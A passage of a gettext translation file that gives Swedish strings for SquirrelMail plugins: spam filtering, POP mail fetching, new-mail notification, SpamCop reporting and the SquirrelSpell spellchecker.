msgstr "FRI - Distributed Sender Boycott List - BekrÀftade vidarebefordrare."

msgid "FREE - Distributed Sender Boycott List - Confirmed Multi-stage Relays"
msgstr ""
"FRI - Distributed Sender Boycott List - BekrÀftade 'multi-stage-"
"vidarebefordrare'"

msgid "FREE - Distributed Sender Boycott List - UN-Confirmed Relays"
msgstr "FRI - Distributed Sender Boycott List - ObekrÀftade vidarebefordrare."

msgid "WARNING! You must enter something to search for."
msgstr "VARNING! Du mÄste ange nÄgot att söka efter."

msgid ""
"WARNING! Header filters should be of the format &quot;Header: value&quot;"
msgstr ""
"VARNING! Filter baserade pÄ rubriker i brevhuvudet ska ha formatet &quot;"
"Rubrik: vÀrde&quot;"

msgid "Saved Scan type"
msgstr "Sparad skanningstyp"

msgid "Message Filtering"
msgstr "Filtrering av brev"

msgid "What to Scan:"
msgstr "Vad skall kontrolleras:"

msgid "All messages"
msgstr "Alla brev"

msgid "Only unread messages"
msgstr "Bara olÀsta brev"

msgid "Save"
msgstr "Spara"

msgid "Match:"
msgstr "Sök i:"

msgid "Header"
msgstr "Brevhuvud"

msgid "Contains:"
msgstr "SökstrÀng:"

#, php-format
msgid "If %s contains %s then move to %s"
msgstr "Om %s innehÄller %s, flytta till %s"

msgid "Message Filters"
msgstr "Brevfilter"

msgid ""
"Filtering enables messages with different criteria to be automatically "
"filtered into different folders for easier organization."
msgstr ""
"Filtrering möjliggör automatisk regelbaserad flytt av brev till olika mappar "
"för enklare organisering."

msgid "SPAM Filters"
msgstr "SkrÀppostfilter"

msgid ""
"SPAM filters allow you to select from various DNS based blacklists to detect "
"junk email in your INBOX and move it to another folder (like Trash)."
msgstr ""
"SkrÀppostfilter tillÄter dig att vÀlja frÄn olika DNS-baserade svartlistor "
"sÄ att du kan flytta skrÀppost till en annan mapp (t.ex. papperskorgen)."

msgid "You must select a spam folder."
msgstr "VÀlj en mapp för skrÀppost."

msgid "You must select a scan type."
msgstr "VĂ€lj typ av skanning."

msgid "Spam Filtering"
msgstr "SkrÀppostfiltrering"

#, php-format
msgid "WARNING! Tell the administrator to set the %s variable."
msgstr "VARNING! Be administratören att sÀtta variabeln %s."

msgid "Move spam to:"
msgstr "Flytta skrÀppost till:"

msgid ""
"Moving spam directly to the trash may not be a good idea at first, since "
"messages from friends and mailing lists might accidentally be marked as "
"spam. Whatever folder you set this to, make sure that it gets cleaned out "
"periodically, so that you don't have an excessively large mailbox hanging "
"around."
msgstr ""
"Att ange papperskorgen som mottagare för filtrerad skrÀppost rekommenderas "
"inte, dÄ vanliga brev ibland kan tolkas som skrÀppost av misstag. GÄ igenom "
"skrÀppostmappen med jÀmna mellanrum och ta bort oönskade brev, sÄ att de "
"inte tar plats i onödan."

msgid "Unread messages only"
msgstr "Bara olÀsta brev"

msgid ""
"The more messages scanned, the longer it takes. It's recommended to scan "
"unread messages only. If a change to the filters is made, it's recommended "
"to set it to scan all messages, then go view the INBOX, then come back and "
"set it to scan unread messages only. That way, the new spam filters will be "
"applied and even the spam you didn't catch with the old filters will be "
"scanned."
msgstr ""
"Ju fler brev som kontrolleras, desto lÀngre tid tar det. Det rekommenderas "
"att bara kontrollera nyinkomna brev. Om du gör förÀndringar i filtren, byt "
"tillfÀlligt till att kontrollera samtliga brev, gÄ till inkorgen, och byt "
"tillbaks till att bara kontrollera nyinkomna brev. PÄ detta sÀtt genomsöks "
"alla brev med de nya filterinstÀllningarna."

#, php-format
msgid "Spam is sent to %s."
msgstr "SkrÀppost skickas till %s."

msgid "not set yet"
msgstr "odefinierad"

#, php-format
msgid "Spam scan is limited to %s."
msgstr "SkrÀppostsökning begrÀnsad till %s."

msgid "ON"
msgstr "PÅ"

msgid "OFF"
msgstr "AV"

#, php-format
msgid "%s is not found."
msgstr "Hittade inte %s."

msgid "Today's Fortune"
msgstr "Dagens spÄdom"

msgid "Fortunes"
msgstr "SpÄdomar"

msgid "Show fortunes at top of mailbox"
msgstr "Visa spÄdomar överst i brevlÄdan"

msgid "Plugin is disabled."
msgstr "Insticksmodulen Àr inaktiverad."

msgid "IMAP server information"
msgstr "Information om IMAP-servern"

msgid ""
"Run some test IMAP commands, displaying both the command and the result. "
"These tests use the SquirrelMail IMAP commands and your current SquirrelMail "
"configuration. Custom command strings can be used."
msgstr ""
"Exekverar nÄgra IMAP-kommandon som test, och visar bÄde vilka kommandon som "
"anvÀnts och resultatet av dem. Testen anvÀnder SquirrelMails IMAP-kommandon "
"och dina nuvarande instÀllningar. Personligt utformade kommandostrÀngar kan "
"anvÀndas."

#, php-format
msgid ""
"This will send a message to %s requesting help for this list. You will "
"receive an emailed response at the address below."
msgstr ""
"Detta kommer att skicka ett brev till %s med begÀran om hjÀlp för denna "
"lista. Du kommer att fÄ svar till adressen nedan."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be subscribed to "
"this list. You will be subscribed with the address below."
msgstr ""
"Detta kommer att skicka ett brev till %s med begÀran om att fÄ prenumerera "
"pÄ denna lista. Adressen nedan kommer att anvÀndas som "
"prenumerationsmottagare."

#, php-format
msgid ""
"This will send a message to %s requesting that you will be unsubscribed from "
"this list. It will try to unsubscribe the adress below."
msgstr ""
"Detta kommer att skicka ett brev till %s med begÀran om att sÀga upp "
"prenumerationen pÄ denna lista. Adressen nedan Àr den "
"prenumerationsmottagare som avses."

#, php-format
msgid "Unknown action: %s"
msgstr "OkÀnd ÄtgÀrd: %s"

msgid "Mailinglist"
msgstr "E-postlista"

msgid "Send Mail"
msgstr "Skicka brev"

msgid "Post to List"
msgstr "Skicka till listan"

msgid "Reply to List"
msgstr "Svara till listan"

msgid "List Archives"
msgstr "Listarkiv"

msgid "Contact Listowner"
msgstr "Kontakta listans Àgare"

msgid "Mailing List"
msgstr "E-postlista"

msgid "No server specified"
msgstr "Ingen server angiven"

msgid "Error "
msgstr "Fel "

msgid "no login ID submitted"
msgstr "inget anvÀndarnamn angivet"

msgid "connection not established"
msgstr "uppkoppling ej genomförd"

msgid "No password submitted"
msgstr "Inget lösenord angivet"

msgid "No connection to server"
msgstr "Kunde inte kontakta servern"

msgid "No login ID submitted"
msgstr "Inget anvÀndarnamn angivet"

msgid "No server banner"
msgstr "Ingen serverstrÀng"

msgid "abort"
msgstr "avbryt"

msgid "apop authentication failed"
msgstr "apop-validering misslyckades"

msgid "Premature end of list"
msgstr "Listan Àr inte fullstÀndig"

msgid "Empty command string"
msgstr "Tom kommandostrÀng"

msgid "connection does not exist"
msgstr "uppkopplingen finns inte"

msgid "No msg number submitted"
msgstr "Inget brevnummer angivet"

msgid "Command failed "
msgstr "Kommandot misslyckades "

msgid "Remote POP server Fetching Mail"
msgstr "POP-servern hÀmtar brev"

msgid "Select Server:"
msgstr "VĂ€lj server:"

msgid "Password for"
msgstr "Lösenord för"

msgid "Fetch Mail"
msgstr "HĂ€mta brev"

msgid "Fetching from "
msgstr "HÀmtar frÄn "

msgid "Oops, "
msgstr "Hoppsan, "

msgid "Opening IMAP server"
msgstr "Öppnar IMAP-servern"

msgid "Opening POP server"
msgstr "Öppnar POP-servern"

msgid "Login Failed:"
msgstr "Inloggningen misslyckades:"

msgid "Login OK: No new messages"
msgstr "Inloggning OK: Inga nya brev"

msgid "Login OK: Inbox EMPTY"
msgstr "Inloggning OK: Inkorgen Àr tom"

#, php-format
msgid "Login OK: Inbox contains %s messages"
msgstr "Inloggning OK: Inkorgen innehÄller %s brev"

msgid "Fetching UIDL..."
msgstr "HĂ€mtar UIDL..."

msgid "Server does not support UIDL."
msgstr "Servern stödjer inte UIDL."

msgid "Leaving messages on server..."
msgstr "LÀmnar brev pÄ servern..."

msgid "Deleting messages from server..."
msgstr "Tar bort brev frÄn servern..."

msgid "Fetching message "
msgstr "HĂ€mtar brev "

msgid "Server error. Disconnect"
msgstr "Server-fel. FrÄnkopplas."

msgid "Reconnect from dead connection"
msgstr "Återanslut till död anslutning"

msgid "Saving UIDL"
msgstr "Sparar UIDL"

msgid "Refetching message "
msgstr "ÅterhĂ€mtar brev "

msgid "Error Appending Message!"
msgstr "Fel nÀr brevet bifogades!"

msgid "Closing POP"
msgstr "Avslutar POP"

msgid "Logging out from IMAP"
msgstr "Loggar ut frÄn IMAP-servern"

msgid "Message appended to mailbox"
msgstr "Brevet har lagts till i inkorgen"

#, php-format
msgid "Message %d deleted from remote server!"
msgstr "Brev %d har tagits bort frÄn fjÀrrservern!"

msgid "Delete failed:"
msgstr "Radering misslyckades:"

msgid "Remote POP server settings"
msgstr "InstÀllningar för POP-server"

msgid ""
"You should be aware that the encryption used to store your password is not "
"perfectly secure. However, if you are using pop, there is inherently no "
"encryption anyway. Additionally, the encryption that we do to save it on the "
"server can be undone by a hacker reading the source to this file."
msgstr ""
"Du bör vara medveten om att den kryptering som anvÀnds för att spara ditt "
"lösenord inte Àr helt sÀker. Dessutom anvÀnds den inte nÀr lösenordet "
"överförs till POP-servern. Krypteringen kan knÀckas av en hacker som kommer "
"Ät kÀllkoden till den hÀr filen."

msgid "If you leave password empty, it will be asked when you fetch mail."
msgstr ""
"Om du inte fyller i ett lösenord efterfrÄgas detta nÀr du hÀmtar din post."

msgid "Encrypt passwords (informative only)"
msgstr "Kryptera lösenord"

msgid "Add Server"
msgstr "LĂ€gg till server"

msgid "Server:"
msgstr "Server:"

msgid "Port:"
msgstr "Port:"

msgid "Alias:"
msgstr "Alias:"

msgid "Username:"
msgstr "AnvÀndarnamn:"

msgid "Store in Folder:"
msgstr "Spara i mappen:"

msgid "Leave mail on server"
msgstr "LÀmna brev pÄ servern"

msgid "Check mail at login"
msgstr "Kontrollera om det finns nya brev vid inloggning"

msgid "Check mail at folder refresh"
msgstr "Kontrollera om det finns nya brev vid uppdateringen av mappen"

msgid "Modify Server"
msgstr "Ändra server"

msgid "Server Name:"
msgstr "Servernamn:"

msgid "Modify"
msgstr "Ändra"

msgid "No servers known."
msgstr "Ingen server angiven."

msgid "Fetching Servers"
msgstr "HĂ€mtar servrar"

msgid "Confirm Deletion of a Server"
msgstr "BekrÀfta borttagning av servern"

msgid "Selected Server:"
msgstr "Vald server:"

msgid "Confirm delete of selected server?"
msgstr "BekrÀfta borttagning av den valda servern"

msgid "Confirm Delete"
msgstr "BekrÀfta borttagning"

msgid "Leave Mail on Server"
msgstr "LÀmna brev pÄ servern"

msgid "Undefined Function"
msgstr "Odefinierad funktion"

msgid "The function you requested is unknown."
msgstr "Den begÀrda funktionen Àr inte giltig."

msgid "Fetch"
msgstr "HĂ€mta"

msgid "Warning, "
msgstr "Varning, "

msgid "Mail Fetch Result:"
msgstr "Resultat frÄn hÀmtning av brev:"

msgid "POP3 Fetch Mail"
msgstr "HÀmta frÄn POP3-brevlÄda"

msgid ""
"This configures settings for downloading email from a POP3 mailbox to your "
"account on this server."
msgstr ""
"Det gÄr att hÀmta brev frÄn en POP3-brevlÄda och spara dem pÄ denna server."

msgid "Message Details"
msgstr "Brevets detaljer"

msgid "Bodystructure"
msgstr "Struktur"

msgid "Entity"
msgstr "Enhet"

msgid "Content-Type"
msgstr "Typ av innehÄll"

msgid "Encoding"
msgstr "Kodning"

msgid "RFC822 Message body"
msgstr "KĂ€lla (i RFC822-format)"

msgid "Close Window"
msgstr "StÀng fönstret"

msgid "Save Message"
msgstr "Spara brev"

msgid "View Message details"
msgstr "Visa brevets detaljer"

msgid "New Mail Notification"
msgstr "Avisering vid nya brev"

#, php-format
msgid ""
"The %s option will check ALL of your folders for unseen mail, not just the "
"inbox for notification."
msgstr ""
"SlÄ pÄ %s för att söka efter nya/olÀsta brev i ALLA mappar, inte bara "
"inkorgen."

msgid "Check all boxes, not just INBOX"
msgstr "Kontrollera alla mappar, inte bara inkorgen"

#, php-format
msgid ""
"Selecting the %s option will enable the showing of a popup window when "
"unseen mail is in your folders (requires JavaScript)."
msgstr ""
"SlÄ pÄ %s för att visa en dialogruta dÄ du har olÀsta brev i dina mappar "
"(krÀver JavaScript)."

msgid "Show popup window on new mail"
msgstr "Visa en dialogruta nÀr nya brev inkommer"

#, php-format
msgid ""
"Use the %s option to only check for messages that are recent. Recent "
"messages are those that have just recently showed up and have not been "
"\"viewed\" or checked yet. This can prevent being continuously annoyed by "
"sounds or popups for unseen mail."
msgstr ""
"AnvÀnd %s för att endast kontrollera senast inkomna brev. Detta förhindrar "
"kontinuerliga pÄminnelser om olÀsta brev."

msgid "Count only messages that are RECENT"
msgstr "Kontrollera bara de nyaste breven"

#, php-format
msgid ""
"Selecting the %s option will change the title in some browsers to let you "
"know when you have new mail (requires JavaScript). This will always tell you "
"if you have new mail, even if you have %s enabled."
msgstr ""
"Om du slÄr pÄ %s kommer titelraden i vissa webblÀsare att Àndras dÄ du har "
"nya brev (krÀver JavaScript). Detta visar alltid om du har nyinkomna brev, "
"Ă€ven om du har valt %s."

msgid "Change title on supported browsers"
msgstr "Byt rubriken pÄ webblÀsare som stödjer detta"

#, php-format
msgid ""
"Select %s to turn on playing a media file when unseen mail is in your "
"folders. When enabled, you can specify the media file to play in the "
"provided file box."
msgstr ""
"VÀlj %s för att spela upp ett ljud dÄ du fÄr nya brev. Du kan vÀlja vilken "
"mediafil som skall spelas."

msgid "Enable Media Playing"
msgstr "SlÄ pÄ mediauppspelning"

#, php-format
msgid ""
"Select from the list of %s the media file to play when new mail arrives. If "
"no file is specified, %s, no sound will be used."
msgstr ""
"VÀlj den fil som ska spelas nÀr ny post anlÀnder, frÄn listan %s. Om ingen "
"fil vÀljs, %s, kommer inget ljud att anvÀndas."

msgid "Select server file"
msgstr "Vald fil"

msgid "(none)"
msgstr "(ingen)"

msgid "requires JavaScript to work"
msgstr "krÀver JavaScript"

msgid "Width of popup window:"
msgstr "Bredd pÄ dialogrutan:"

msgid "If set to 0, reverts to default value"
msgstr "Ange 0 för att anvÀnda det förinstÀllda vÀrdet"

msgid "Height of popup window:"
msgstr "Höjd pÄ dialogrutan:"

msgid "Try"
msgstr "Spela"

msgid "Current File:"
msgstr "Aktiv fil:"

msgid "New Mail"
msgstr "Nytt brev"

msgid "SquirrelMail Notice:"
msgstr "Avisering frÄn SquirrelMail:"

#, php-format
msgid "You have %s new message"
msgstr "Du har %s nytt brev"

#, php-format
msgid "You have %s new messages"
msgstr "Du har %s nya brev"

msgid "NewMail Options"
msgstr "Avisering vid nyinkomna brev"

msgid ""
"This configures settings for playing sounds and/or showing popup windows "
"when new mail arrives."
msgstr ""
"Aviseringen bestÄr av ett ljud och/eller en dialogruta nÀr nya brev inkommer."

#, php-format
msgid "%s New Messages"
msgstr "%s nya brev"

#, php-format
msgid "%s New Message"
msgstr "%s nytt brev"

msgid "Test Sound"
msgstr "Testa ljud"

msgid "No sound specified"
msgstr "Inget ljud valt"

msgid "Loading the sound..."
msgstr "Laddar ljud..."

msgid "Sent Subfolders Options"
msgstr "Arkivering av skickade brev"

msgid "Use Sent Subfolders"
msgstr "Arkivera"

msgid "Monthly"
msgstr "Varje mÄnad"

msgid "Quarterly"
msgstr "Varje kvartal"

msgid "Yearly"
msgstr "Varje Är"

msgid "Base Sent Folder"
msgstr "Mapp för skickade brev"

msgid "Enabled"
msgstr "Aktiverad"

msgid "Disable it"
msgstr "Inaktivera"

msgid "Enable it"
msgstr "Aktivera"

msgid "Spam reporting"
msgstr "SkrÀppostrapportering"

msgid "SpamCop link is:"
msgstr "LÀnken till SpamCop Àr:"

msgid "Delete spam when reported:"
msgstr "Ta bort skrÀppost som rapporterats:"

msgid "Only works with email-based reporting"
msgstr "Fungerar bara med e-postbaserad rapportering"

msgid "Spam Reporting Method:"
msgstr "SkrÀppostrapporteringsmetod:"

msgid "Quick email-based reporting"
msgstr "Snabb e-postbaserad rapportering"

msgid "Thorough email-based reporting"
msgstr "Grundlig e-postbaserad rapportering"

msgid "Web-based form"
msgstr "Webbaserat formulÀr"

msgid "Save Method"
msgstr "Spara metod"

msgid "Your SpamCop authorization code:"
msgstr "Din behörighetskod till SpamCop:"

msgid "see below"
msgstr "se nedan"

msgid "Save ID"
msgstr "Spara ID"

msgid "About SpamCop"
msgstr "Om SpamCop"

msgid ""
"SpamCop is a free service that greatly assists in finding the true source of "
"the spam and helps in letting the proper people know about the abuse."
msgstr ""
"SpamCop Àr en gratistjÀnst som Àr till stor hjÀlp nÀr det gÀller att hitta "
"kÀllan till skÀppost och för att vidarebefordra detta till rÀtt instans."

#, php-format
msgid ""
"To use it, you must get a SpamCop authorization code. There is a free %ssign "
"up page%s so you can use SpamCop."
msgstr ""
"För att anvÀnda SpamCop mÄste du ha en behörighetskod. Det finns en %"
"sanmÀlningssida%s sÄ att du kan börja anvÀnda SpamCop."

msgid "Before you sign up, be warned"
msgstr "LÀs detta innan du anmÀler dig"

#, php-format
msgid ""
"Some users have reported that the email addresses used with SpamCop find "
"their way onto spam lists. To be safe, you can just create an email "
"forwarding account and have all SpamCop reports get sent to there. Also, if "
"it gets flooded with spam, you can then just delete that account with no "
"worries about losing your real email address. Just go create an email "
"forwarder somewhere (%s has a %slist of places%s) so that messages from "
"system administrators and what not can be sent to you."
msgstr ""
"En del anvÀndare har rapporterat att de e-postadresser de anvÀnt med SpamCop "
"har dykt upp pÄ skrÀppostlistor. Om du vill vara sÀker bör du skapa en ny "
"adress med vidarebefordring som du lÄter SpamCop skicka sina rapporter till. "
"Ifall du fÄr en massa skrÀppost till denna adress kan du sÀga upp den utan "
"risk för att bli av med din egentliga e-postadress. Skapa alltsÄ en "
"vidarebefordringsadress nÄgonstans (%s har en %slista med stÀllen%s) sÄ att "
"brev frÄn systemadministratörer m.m. kan skickas till dig."

msgid ""
"Once you have signed up with SpamCop and have received your SpamCop "
"authorization code, you need to enable this plugin by clicking the link "
"above. Once enabled, you go about your normal life. If you encounter a spam "
"message in your mailbox, just view it. On the right-hand side, near the top "
"of where the message is displayed, you will see a link to report this "
"message as spam. Clicking on it brings you to a confirmation page. "
"Confirming that you want the spam report sent will do different things with "
"different reporting methods."
msgstr ""
"NÀr du har anmÀlt dig till SpamCop och fÄtt din behörighetskod behöver du "
"aktivera denna insticksmodul. Klicka bara pÄ lÀnken ovan. Sedan Àr det bara "
"att anvÀnda din e-post som vanligt. NÀr du stöter pÄ ett skÀppostbrev Àr det "
"bara att öppna det. Uppe till höger kommer du att finna en lÀnk för att "
"rapportera brevet som skrÀppost. NÀr du klickar pÄ lÀnken fÄr du upp en sida "
"för bekrÀftelse. NÀr du bekrÀftar att rapporten ska skickas sker ett antal "
"olika saker med hjÀlp av olika rapportmetoder."

msgid "Email-based reporting"
msgstr "E-postbaserad rapportering"

msgid ""
"Pressing the button forwards the message to the SpamCop service and will "
"optionally delete the message. From there, you just need to go to your INBOX "
"and quite soon a message should appear from SpamCop. (It gets sent to the "
"account you registered with, so make sure that your mail forwarder works!) "
"Open it up, click on the appropriate link at the top, and a new browser "
"window will open."
msgstr ""
"NÀr du trycker pÄ knappen skickas brevet till SpamCop och om sÄ önskas tas "
"originalet bort. Relativt snart kommer ett brev frÄn SpamCop till din "
"inkorg. (Det skickas till den adress som du registrerade hos SpamCop, sÄ se "
"till att vidarebefordran fungerar som den ska.) NÀr du öppnat brevet klickar "
"du pÄ tillÀmpbar lÀnk, vilket öppnar ett nytt fönster."

msgid ""
"Currently, the quick reporting just forwards the request to the thorough "
"reporting. Also, it appears that this is for members (non-free) only. "
"Hopefully this will change soon."
msgstr ""
"För nÀrvarande skickar snabbrapporteringen bara vidare till den grundliga "
"rapporteringen. Dessutom verkar det som om detta endast Àr för medlemmar (ej "
"gratis). Förhoppningsvis Àndras detta snart."

msgid "Web-based reporting"
msgstr "Webbaserad rapportering"

msgid ""
"When you press the button on the confirmation page, this will pop open a new "
"browser window and the SpamCop service should appear inside. The message "
"will not be deleted (working on that part), but you won't need to wait for a "
"response email to start the spam reporting."
msgstr ""
"NÀr du trycker pÄ knappen pÄ bekrÀftelsesidan öppnas ett nytt fönster, vari "
"SpamCop-tjÀnsten visas. Brevet kommer inte att tas bort (detta kommer i "
"framtiden), men du behöver inte vÀnta pÄ ett svar via e-post för att kunna "
"rapportera skrÀppost."

msgid ""
"The SpamCop service will display information as it finds it, so scroll down "
"until you see a form button. It might pause a little while it is looking up "
"information, so be a little patient. Read what it says, and submit the spam. "
"Close the browser window. Press Cancel or click on the appropriate mail "
"folder to see messages and/or delete the spam."
msgstr ""
"SpamCop-tjÀnsten visar informationen som den fÄtt den, sÄ blÀddra nedÄt till "
"dess du ser en knapp. Det kan ta ett tag medan informationen kontrolleras, "
"sÄ ha tÄlamod. LÀs vad det stÄr och skicka in rapporten. StÀng fönstret. "
"Klicka pÄ avbryt eller tillÀmpbar mapp för att se skrÀpposten och/eller ta "
"bort den."

msgid "SpamCop service type"
msgstr "Typ av SpamCop-tjÀnst"

msgid ""
"Service type option allows selecting which SpamCop services you are using. "
"Member services use different web reporting forms and does not display nags. "
"You can purchase these services, if you want to support SpamCop."
msgstr ""
"TjÀnstetypen tillÄter dig att vÀlja vilken tjÀnst du anvÀnder. "
"MedlemstjÀnster anvÀnder andra webbrapporteringsformulÀr och visar inte "
"irriterande meddelanden. Du kan köpa dessa tjÀnster om du vill stödja "
"SpamCop."

msgid "More information"
msgstr "Mer information"

#, php-format
msgid ""
"For more information about SpamCop, it's services, spam in general, and many "
"related topics, try reading through SpamCop's %sHelp and Feedback%s section."
msgstr ""
"För mer information om SpamCop, deras tjÀnster, skrÀppost i allmÀnhet och "
"mÄnga relaterade Àmnen, se SpamCops %sHelp and Feedback%s-sektion."

msgid "Report as Spam"
msgstr "AnmÀl som skrÀppost"

msgid "SpamCop - Spam Reporting"
msgstr "SpamCop - SkrÀppostrapportering"

msgid ""
"Help fight the battle against unsolicited email. SpamCop reads the spam "
"email and determines the correct addresses to send complaints to. Quite "
"fast, really smart, and easy to use."
msgstr ""
"HjÀlp till att bekÀmpa oönskad e-post. SpamCop lÀser igenom oönskad e-post "
"och tar fram rÀtt instans att klaga hos. Ganska snabbt, vÀldigt intelligent, "
"och enkel att anvÀnda."

msgid ""
"Sending this spam report will give you back a reply with URLs that you can "
"click on to properly report this spam message to the proper authorities. "
"This is a free service. By pressing the \"Send Spam Report\" button, you "
"agree to follow SpamCop's rules/terms of service/etc."
msgstr ""
"NÀr du skickar in denna skrÀppostrapport kommer du att fÄ tillbaka ett brev "
"med lÀnkar som du kan klicka pÄ för att rapportera skrÀpposten till rÀtt "
"instanser. Denna tjÀnst Àr gratis. Genom att klicka pÄ knappen &quot;Skicka "
"skrÀppostrapport&quot; gÄr du med pÄ SpamCops regler, villkor för tjÀnsten o."
"s.v."

msgid "Cancel / Done"
msgstr "Avbryt/klar"

msgid "Send Spam Report"
msgstr "Skicka skrÀppostrapport"

msgid "SpellChecker Options"
msgstr "InstÀllningar för rÀttstavning"

msgid ""
"Here you may set up how your personal dictionary is stored, edit it, or "
"choose which languages should be available to you when spell-checking."
msgstr ""
"HÀr kan du vÀlja hur din personliga ordlista sparas, Àndra denna eller vÀlja "
"vilka sprÄk som skall kontrolleras."

msgid "Check Spelling"
msgstr "Kontrollera stavning"

msgid "Back to &quot;SpellChecker Options&quot; page"
msgstr "Tillbaka"

msgid "ATTENTION:"
msgstr "OBSERVERA:"

msgid ""
"SquirrelSpell was unable to decrypt your personal dictionary. This is most "
"likely due to the fact that you have changed your mailbox password. In order "
"to proceed, you will have to supply your old password so that SquirrelSpell "
"can decrypt your personal dictionary. It will be re-encrypted with your new "
"password after this. If you haven't encrypted your dictionary, then it got "
"mangled and is no longer valid. You will have to delete it and start anew. "
"This is also true if you don't remember your old password -- without it, the "
"encrypted data is no longer accessible."
msgstr ""
"SquirrelSpell kunde inte dekryptera din personliga ordlista. Det beror "
"troligen pÄ det att du har bytt ditt lösenord. För att fortsÀtta, ange ditt "
"gamla lösenord sÄ att SquirrelSpell kan dekryptera din personliga ordlista. "
"Ordlistan kommer sedan att krypteras med ditt nya lösenord. Om du inte har "
"bytt lösenordet sÄ har din ordlista förmodligen blivit korrupt. I sÄ fall "
"mÄste du tyvÀrr ta bort den och skapa en ny. Detta gÀller ocksÄ om du har "
"glömt ditt gamla lösenord."

msgid "Delete my dictionary and start a new one"
msgstr "Ta bort min ordlista och skapa en ny"

msgid "Decrypt my dictionary with my old password:"
msgstr "Dekryptera min ordlista med mitt gamla lösenord:"

msgid "Proceed"
msgstr "FortsÀtt"

msgid "You must make a choice"
msgstr "Du mÄste göra ett val"

msgid ""
"You can either delete your dictionary or type in the old password. Not both."
msgstr ""
"Du kan antingen ta bort din ordlista eller ange det gamla lösenordet. Inte "
"bÄde och."

msgid "This will delete your personal dictionary file. Proceed?"
msgstr "Vill du ta bort din personliga ordlista?"

msgid "Error Decrypting Dictionary"
msgstr "Fel vid dekryptering av ordlista"

#, php-format
msgid "Could not run the spellchecker command (%s)."
msgstr "Stavningskontrollen kunde inte exekvera kommandot (%s)."

msgid "Error while writing to pipe."
msgstr "Det gick inte att skriva till rÀttstavningsprogrammet."

#, php-format
msgid "Could not open temporary file '%s'."
msgstr "Kunde inte öppna den temporÀra filen '%s'."

#, php-format
msgid "Error while writing to temporary file '%s'."
msgstr "Kunde inte skriva till den temporÀra filen '%s'."

#, php-format
msgid "I tried to execute '%s', but it returned:"
msgstr "Jag försökte exekvera '%s', men fick svaret:"

msgid "SquirrelSpell is misconfigured."
msgstr "SquirrelSpell Àr felkonfigurerat."

msgid "Spellcheck completed. Commit changes?"
msgstr "Stavningskontrollen Àr avslutad. Vill du spara förÀndringarna?"

msgid "No changes were made."
msgstr "Inga Àndringar gjordes."

msgid "Now saving your personal dictionary... Please wait."
msgstr "VĂ€nta medan din personliga ordlista sparas."

msgid "SquirrelSpell Results"
msgstr "SquirrelSpell-resultat"

#, php-format
msgid "Found %s errors"
msgstr "Hittade %s fel"

msgid "Line with an error:"
msgstr "Rad med fel:"

msgid "Error:"
msgstr "Fel:"

msgid "Suggestions:"
msgstr "Förslag:"

msgid "Suggestions"
msgstr "Förslag"

msgid "Change to:"
msgstr "Byt till:"

msgid "Occurs times:"
msgstr "Hittades gÄnger:"

msgid "Change this word"
msgstr "Byt ut detta ord"

msgid "Change"
msgstr "Byt"

msgid "Change ALL occurances of this word"
msgstr "Byt ut samtliga förekomster av detta ord"

msgid "Change All"
msgstr "Byt alla"

msgid "Ignore this word"
msgstr "Hoppa över detta ord"

msgid "Ignore"
msgstr "Hoppa över"

msgid "Ignore ALL occurances this word"
msgstr "Hoppa över detta ord överallt"

msgid "Ignore All"
msgstr "Hoppa över alla"

msgid "Add this word to your personal dictionary"
msgstr "LĂ€gg till detta ord i din personliga ordlista"

msgid "Add to Dic"
msgstr "LĂ€gg till ordlistan"

msgid "Close and Commit"
msgstr "StÀng och utför"

msgid "The spellcheck is not finished. Really close and commit changes?"
msgstr "Stavningskontrollen Àr inte fÀrdig. StÀng och spara Àndringar?"

msgid "Close and Cancel"
msgstr "StÀng och Ängra"

msgid "The spellcheck is not finished. Really close and discard changes?"
msgstr "Stavningskontrollen Àr inte fÀrdig. StÀng och hoppa över Àndringarna?"

msgid "No errors found"
msgstr "Inga fel funna"

msgid "Your personal dictionary was erased."
msgstr "Din personliga ordlista har tagits bort."

msgid "Dictionary Erased"
msgstr "Ordlistan borttagen"

msgid ""
"Your personal dictionary was erased. Please close this window and click "
"\"Check Spelling\" button again to start your spellcheck over."
msgstr ""
"Din personliga ordlista har tagits bort. StÀng detta fönster och klicka pÄ "
"&quot;Kontrollera stavning&quot; för att starta stavningskontrollen."

msgid "Close this Window"
msgstr "StÀng detta fönster"

msgid ""
"Your personal dictionary was re-encrypted successfully. Now return to the "
"&quot;SpellChecker options&quot; menu and make your selection again."
msgstr ""
"Din personliga ordlista har krypterats. GÄ tillbaka till &quot;InstÀllningar "
"för rÀttstavning&quot; och bekrÀfta instÀllningarna."

msgid "Successful re-encryption"
msgstr "Kryptering lyckades"

msgid ""
"Your personal dictionary was re-encrypted successfully. Please close this "
"window and click \"Check Spelling\" button again to start your spellcheck "
"over."
msgstr ""
"Din personliga ordlista har krypterats. StÀng detta fönster och klicka pÄ "
"&quot;Kontrollera stavning&quot; för att starta stavningskontrollen."

msgid "Dictionary re-encrypted"
msgstr "Ordlistan har krypterats"

msgid ""
"Your personal dictionary has been encrypted and is now stored in an "
"encrypted format."
msgstr ""
"Din personliga ordlista har krypterats och har sparats i krypterat format."

msgid ""
"Your personal dictionary has been decrypted and is now stored as plain text."
msgstr "Din personliga ordlista har dekrypterats och har sparats i klartext."

msgid "No action requested."
msgstr "Ingen ÄtgÀrd begÀrdes."

msgid "Personal Dictionary Crypto Settings"
msgstr "KrypteringsinstÀllningar för personlig ordlista"

msgid "Personal Dictionary"
msgstr "Personlig ordlista"

msgid "No words in your personal dictionary."
msgstr "Din personliga ordlista Àr tom."

msgid "Please check any words you wish to delete from your dictionary."
msgstr "VÀlj ord som skall tas bort frÄn ordlistan."

#, php-format
msgid "%s dictionary"
msgstr "%s ordlista"

msgid "Delete checked words"
msgstr "Stryk valda ord"

msgid "Edit your Personal Dictionary"
msgstr "Redigera din personliga ordlista"

msgid "Please make your selection first."
msgstr "Gör ditt val föst, tack."

msgid ""
"This will encrypt your personal dictionary and store it in an encrypted "
"format. Proceed?"
msgstr ""
"Vill du kryptera din personliga ordlista och spara den i ett skyddat format?"

msgid ""
"This will decrypt your personal dictionary and store it in a plain text "
"format. Proceed?"
msgstr "Vill du dekryptera din personliga ordlista och spara den i klartext?"

msgid "Your personal dictionary is currently encrypted."
msgstr "Din personliga ordlista Àr för nÀrvarande krypterad."

msgid ""
"This helps protect your privacy in case the web-mail system gets compromized "
"and your personal dictionary ends up stolen. It is currently encrypted with "
"the password you use to access your mailbox, making it hard for anyone to "
"see what is stored in your personal dictionary."
msgstr ""
"Detta skyddar din personliga ordlista om webbpostsystemet utsÀtts för "
